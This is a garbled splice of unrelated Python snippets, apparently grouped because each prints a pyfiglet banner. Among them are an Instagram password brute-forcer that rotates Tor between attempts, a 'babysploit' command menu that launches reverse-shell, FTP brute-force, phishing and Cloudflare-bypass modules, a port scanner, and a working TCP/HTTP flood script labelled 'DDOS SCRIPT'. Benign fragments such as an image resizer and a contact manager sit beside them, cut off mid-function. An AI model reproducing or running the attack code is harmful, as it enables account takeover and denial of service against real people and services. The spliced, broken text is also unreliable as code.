input(Fore.YELLOW + "\n[*] Timeout between each password (Secs): "))
print(Fore.YELLOW + "[-] Please wait for a moment")
t.sleep(2)
for password in passlist:
os.system("service tor start")
b.get("https://www.instagram.com")
print(Fore.GREEN + "Trying password [%s]" % password)
t.sleep(timeout)
username = b.find_element_by_xpath(
'//*[@id="react-root"]/section/main/article/div[2]/div[1]/div/form/div[2]/div/label/input'
from pyfiglet import Figlet
f = Figlet()
print(f.renderText('I\'m Natz'))
def main():
terminal = input("\n[babysploit]> ") # Define the name of the terminal
if terminal[
0:
4] == "help": # From Char Space 0 - 4 if it = help run the help command.
f = Figlet(font='slant')
print(f.renderText(" Help"))
helper.run()
main()
elif terminal[0:1] == "?": # Same as above
f = Figlet(font='slant')
print(f.renderText(" Help"))
helper.run()
main()
elif terminal[0:4] == "info": # Same as above but for info command
for key, value in config.items('DEFAULT'):
print("%s: %s" % (key, value))
main()
elif terminal[0:5] == "tools": # Same as above but for tool command
display.tools()
main()
elif terminal[0:6] == "search":
searchsploit.search()
main()
elif terminal[0:3] == "set": # Set Config Key
if terminal[4:] == terminal[4:]: # Take Input After `set `
config['DEFAULT'][terminal[4:]] = input(
"Enter Value For %s: " %
terminal[4:]) # Get Value for that key name
with open("./config.cfg", "w") as configfile:
config.write(configfile) # Write the new config key
print("Config Key Saved!")
main()
elif terminal[0:5] == "reset": # Reset configuration
config['DEFAULT'] = {
'lhost': '0.0.0.0',
'lport': '8080',
'rhost': 'google.com',
'rport': '80',
'platform': '',
'usernamelist': 'lists/usernames',
'passwordlist': 'lists/passwords',
'urlpath': '/connect'
}
with open("./config.cfg", "w") as configfile:
config.write(configfile)
main()
elif terminal[0:4] == "exit":
print("Exiting...")
exit()
elif terminal[0:7] == "raccoon":
if terminal[8:] == terminal[8:]:
query = terminal[8:]
os.system("raccoon %s" % query)
else:
print("Please use raccoon --help for arguments.")
main()
elif terminal[0:8] == "iplookup":
iplookup.run()
main()
elif terminal[0:4] == "nmap":
nmtool.run()
main()
elif terminal[0:12] == "reverseshell":
reverseshell.run()
main()
elif terminal[0:12] == "censyslookup":
print("Broken Coming Soon")
main()
elif terminal[0:9] == "dnslookup":
dnslookup.start()
main()
elif terminal[0:8] == "blackeye":
blackeye.run()
main()
elif terminal[0:11] == "ftpvulnscan":
ftpv.checkVulnerability()
main()
elif terminal[0:6] == "wpseku":
wpseku.run()
main()
elif terminal[0:8] == "cfbypass":
cloudflarebypass.run()
main()
elif terminal[0:13] == "ftpbruteforce":
ftpbruteforce.start()
main()
else:
print("Unknown Command")
main()
def welcome_message():
f = Figlet(font='slant')
print(f.renderText('| dmv express appointment |'))
def print_hic_headline():
clear_console()
f = Figlet(font='slant')
print(f.renderText('High Intensity Peak Analysis'))
from tqdm import tqdm
from pyfiglet import Figlet
def stop_running():
time.sleep(1)
def localip():
cmd = 'python findlocalip.py'
os.system(cmd)
f = Figlet(font='doom')
print (f.renderText('anonim'))
time.sleep(3)
print('Creating media folder!\n')
time.sleep(2)
for i in tqdm(range(100)):
time.sleep(0.100)
os.mkdir('media')
print('--------------media folder created!\n----------------')
time.sleep(2)
print('Creating Datebase!\n')
time.sleep(2)
for i in tqdm(range(100)):
from pyfiglet import Figlet
import socket
f = Figlet(font='banner3-D')
print ("Authored by: \n", f.renderText('MALW0RE'))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
host = input("Enter the IP you want to scan: ")
port = int(input("Enter port you want to scan: "))
def portScanner(port):
if s.connect_ex((host, port)):
print("The port is closed")
else:
print("The port is open")
portScanner(port)
import click
from PIL import Image, ImageOps
from pyfiglet import Figlet
f = Figlet(font='slant')
click.secho(f.renderText('ImageResize v1.0'), fg="red", bold=True)
@click.command()
@click.option("-p", "--path", type=str, help="Sets path of destination image.")
@click.option("-width",
type=int,
help="Resizes image to some width and height")
@click.option("-height",
type=int,
help="resizes Image to some height and width")
def resize(path, width, height):
try:
org_img = Image.open(path)
size = (width, height)
rsz_img = ImageOps.fit(org_img, size, Image.ANTIALIAS)
rsz_img.show()
click.secho("All images processed!", fg="green", bold=True)
except Exception as e:
print(e)
if __name__ == "__main__":
resize()
# _ ______ _ ________
# | | / / __ \/ | / / ____/
# | | /| / / / / / |/ / __/
# | |/ |/ / /_/ / /| / /___
# |__/|__/\____/_/ |_/_____/
from pyfiglet import Figlet
import os
text = Figlet(font="slant")
os.system("cls")
os.system("mode con: cols=75 lines=75")
print(text.renderText("WONE"))
from pyfiglet import Figlet
f = Figlet(font='slant')
print(f.renderText('REQKIT'))
import threading
import socket
from pyfiglet import Figlet
from colorama import *
f = Figlet(font='slant')
print(Fore.MAGENTA + f.renderText('DDOS SCRIPT'))
target = input('Podaj ip: ')
port = int(input('Podaj port: '))
fake_ip = input('Podaj sztuczne ip: ')
threads = int(input('Podaj ilość ataków: '))
def ddos():
while True:
### atak na TCP ###
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(('GET /' + target + ' HTTP/1.1\r\n').encode('ascii'),
(target, port)) ### wysylanie zapytan
s.sendto(('HOST /' + fake_ip + ' \r\n\r\n').encode('ascii'),
(target, port)) ### wysylanie zapytan
s.close()
for i in range(threads):
ddos()
thread = threading.Thread(target=ddos)
thread.start()
from nornir import InitNornir
from nornir.plugins.tasks.networking import netmiko_send_command
from nornir.plugins.functions.text import print_result
from pyfiglet import Figlet
custom_fig = Figlet(font='slant')
sub_fig = Figlet(font='digital')
print(custom_fig.renderText('STORMHUNTER!'))
print(sub_fig.renderText('''Storm's a-brewin'...'''))
def get_facts(task):
r = task.run(netmiko_send_command,
command_string="show interfaces",
use_genie=True)
task.host["facts"] = r.result
for i in range(0, 3):
for j in range(0, 4):
broadcast_value = int(
task.host['facts']['GigabitEthernet' + str(i) + "/" +
str(j)]['counters']['in_broadcast_pkts'])
if broadcast_value >= 1500:
print("Potential broadcast storm on " + task.host.hostname +
"'s GigabitEthernet" + str(i) + "/" + str(j) +
" interface")
def main() -> None:
nr = InitNornir(config_file="config.yaml")
result = nr.run(task=get_facts)
#print_result(result)
"printers": [
TagsPrinter,
DetectionsPrinter,
BehaviorPrinter,
TwitterPrinter,
],
},
{
"name": "public IPv4 or IPv6 address",
"ioc": IP,
"exception": exceptions.InvalidIPException,
"printers": [TagsPrinter, TwitterPrinter],
},
]
cprint(figlet.renderText("ioccheck"))
cprint(f"v{version} (https://github.com/ranguli/ioccheck)\n", HEADING_COLOR)
@click.command()
@click.argument("ioc")
@click.option("--config", required=False, type=str)
@click.option("--report", required=False, type=str)
def run(ioc, config, report):
"""Entrypoint for the ioccheck CLI"""
printed_ioc = colored(ioc, HEADING_COLOR)
print(f"Checking IOC {printed_ioc}.\n")
if not config:
def banner():
banner = Figlet(font='slant')
print(banner.renderText('TorScraper'))
print("\n")
"""Usage: text <first_name> -m [<message>...]"""
app_functions.send_text(line)
@docopt_cmd
def do_del(self, line):
"""Usage: delete <first_name>"""
app_functions.delete_contact(line)
@docopt_cmd
def do_edit(self, line):
"""Usage: edit <first_name>"""
app_functions.edit_contact(line)
@docopt_cmd
def do_sync(self, line):
"""Usage: sync"""
app_functions.sync()
OPT = docopt(__doc__, sys.argv[1:], version="ContactManager version: 1.0")
if OPT['--interactive']:
try:
app_functions.delay_print(__doc__, 0.001)
ContactManager().cmdloop()
except KeyboardInterrupt:
os.system('clear')
f = Figlet(font='contessa')
app_functions.delay_print('\n\n' + \
colored(f.renderText('Goodbye...'), 'yellow', attrs=['bold', 'blink']), 0.01)
